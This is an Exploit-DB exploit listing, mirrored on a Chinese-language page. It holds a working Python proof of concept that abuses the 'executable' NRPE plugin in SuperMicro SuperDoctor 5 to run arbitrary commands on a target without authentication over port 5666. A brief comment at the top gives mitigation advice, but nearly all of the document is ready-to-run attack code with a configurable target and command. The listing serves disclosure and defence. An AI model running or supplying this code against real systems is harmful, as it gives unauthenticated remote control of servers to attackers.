SuperDoctor5 – ‘NRPE’ Remote Code Execution

  • 作者: Simon Gurney
    日期: 2019-06-25
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/47030/
  • # SuperMicro implemented a Remote Command Execution plugin in their implementation of 
    # NRPE in SuperDocter 5, which is their monitoring utility for SuperMicro chassis'.
    # This is an intended feature but leaves the system open (by default) to unauthenticated
    # remote command execution by abusing the 'executable' plugin with an NRPE client.
    # 
    # For your pleasure, here is a PoC Python NRPE Client that will connect, execute the 
    # cmd of choice and return its output.
    #
    # To mitigate this vulnerbility, edit your agent.cfg to specificy which IPs are allowed 
    # to execute NRPE commands agaist the system and/or block traffic on port 5666.
    #
    # NRPE cannot be disabled in this software, see Guide section 3.2
    
    
    #Author: Simon Gurney 
    #Date: 23/05/2019
    #Vendor: SuperMicro
    #Product: SuperMicro Super Doctor 5
    #Version: 5
    #Guide: ftp://supermicro.com/ISO_Extracted/CDR-C9_V1.00_for_Intel_C9_platform/SuperDoctor_V/Linux/SuperDoctor5_UserGuide.pdf
    
    
    
    ### Configurables
    
    command = "ping 1.1.1.1 -n 1"
    target = "1.2.3.4"
    target_port = 5666
    
    ### Don't need to change anything below
    
    import binascii
    import struct
    import socket
    import ssl
    
    #### Struct Encoding Types
    StructCodeInt16 = "!h" ## Unsigned Int16
    StructCodeInt32 = "!L" ## Unsigned Int32
    
    #### NRPE Specific definitions
    NRPE_Version = ("","One", "Two", "Three")
    NRPE_Packet_Type = ("", "Query", "Response")
    NRPE_Response = ("Ok", "Warning", "Critical", "Unknown")
    NRPE_Version_1 = 1
    NRPE_Version_2 = 2
    NRPE_Version_3 = 3
    NRPE_Packet_Type_Query = 1
    NRPE_Packet_Type_Response = 2
    NRPE_Response_Ok = 0
    NRPE_Response_Warning = 1
    NRPE_Response_Critical = 2
    NRPE_Response_Unknown = 3
    NRPE_Response_Type_Query = 3
    
    #### RandomDefintions
    NullByte = b"\x00"
    TwoCharSuffix = "SG"
    
    class NRPEpacket:
    	port = 5666
    	server = "127.0.0.1"
    	nrpeVersion = NRPE_Version_2
    	nrpePacketType = NRPE_Packet_Type_Query
    	nrpeResponseCode = NRPE_Response_Type_Query
    	ownSocket = None
    	def CalculateCRC(self):
    		tempBuffer = struct.pack(StructCodeInt16,self.nrpeVersion)
    		tempBuffer += struct.pack(StructCodeInt16,self.nrpePacketType)
    		tempBuffer += NullByte * 4
    		tempBuffer += struct.pack(StructCodeInt16,self.nrpeResponseCode)
    		tempBuffer += self.content
    		return (struct.pack(StructCodeInt32, binascii.crc32(tempBuffer) & 0xffffffff))
    	def PadTo1024Bytes(self,command):
    		if len(command) <= 1024:
    			tempBuffer = command
    		else:
    			Error("Command string is too long!")
    		while len(tempBuffer) < 1024:
    			tempBuffer += "\x00"
    		tempBuffer += TwoCharSuffix
    		return tempBuffer.encode()
    	def Connect(self):
    		self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    		self.socket.connect((self.server,self.port))
    	def WrapSSL(self):
    		self.socket = ssl.wrap_socket(self.socket,cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_SSLv23, ciphers="ALL")
    	def Send(self):
    		tempBuffer = struct.pack(StructCodeInt16,self.nrpeVersion)
    		tempBuffer += struct.pack(StructCodeInt16,self.nrpePacketType)
    		tempBuffer += self.crc
    		tempBuffer += struct.pack(StructCodeInt16,self.nrpeResponseCode)
    		tempBuffer += self.content
    		self.socket.send(tempBuffer)
    	def Recv(self):
    		tempBuffer = self.socket.recv(2048)
    		self.nrpeVersion = struct.unpack(StructCodeInt16,tempBuffer[0:2])[0]
    		self.nrpePacketType = struct.unpack(StructCodeInt16,tempBuffer[2:4])[0]
    		self.crc = tempBuffer[4:8]
    		self.nrpeResponseCode = struct.unpack(StructCodeInt16,tempBuffer[8:10])[0]
    		self.content = tempBuffer[10:]
    		if self.crc != self.CalculateCRC():
    			print ("CRC does not match!")
    	def PrintOut(self):
    		print(" -=-=-=-= Begin NRPE Content =-=-=-=-")
    		print("| NRPE Version =%i-%s" % (self.nrpeVersion,NRPE_Version[self.nrpeVersion]))
    		print("| NRPE Packet Type =%i-%s" % (self.nrpePacketType,NRPE_Packet_Type[self.nrpePacketType]))
    		print("| NRPE Packet CRC=%i" % struct.unpack(StructCodeInt32,self.crc)[0])
    		print("| NRPE Response Code =%i-%s" % (self.nrpeResponseCode,NRPE_Response[self.nrpeResponseCode]))
    		print("| Packet Content:")
    		print("| %s" % self.content.decode().strip(TwoCharSuffix).strip("\x00"))
    		print(" -=-=-=-= End NRPE Content =-=-=-=-")
    	def Close(self):
    		if not self.ownSocket:
    			self.socket.close()
    	def AutoSend(self):
    		print("Sending...")
    		self.PrintOut()
    		self.Send()
    		print("Receiving...")
    		self.Recv()
    		self.PrintOut()
    		self.Close()
    	def __init__(self, command, socket=None, server=None, port = None, ssl=True):
    		self.content = self.PadTo1024Bytes(command)
    		self.crc = self.CalculateCRC()
    		if server:
    			self.server = server
    		if port:
    			self.port = port
    		if not socket:
    			self.Connect()
    		else:
    			self.socket = socket
    			self.ownSocket = True
    		if ssl == True:
    			self.WrapSSL()
    
    			
    #NRPE CMD format is "executable!<binary>!<arguments> i.e."
    #NRPEpacket("executable!ping!1.1.1.1 -n 1", server="1.2.3.4").AutoSend()
    
    split = command.split(" ",1)
    cmd = "executable!" + split[0] + "!" + split[1]
    NRPEpacket(cmd, server=target, port=target_port).AutoSend()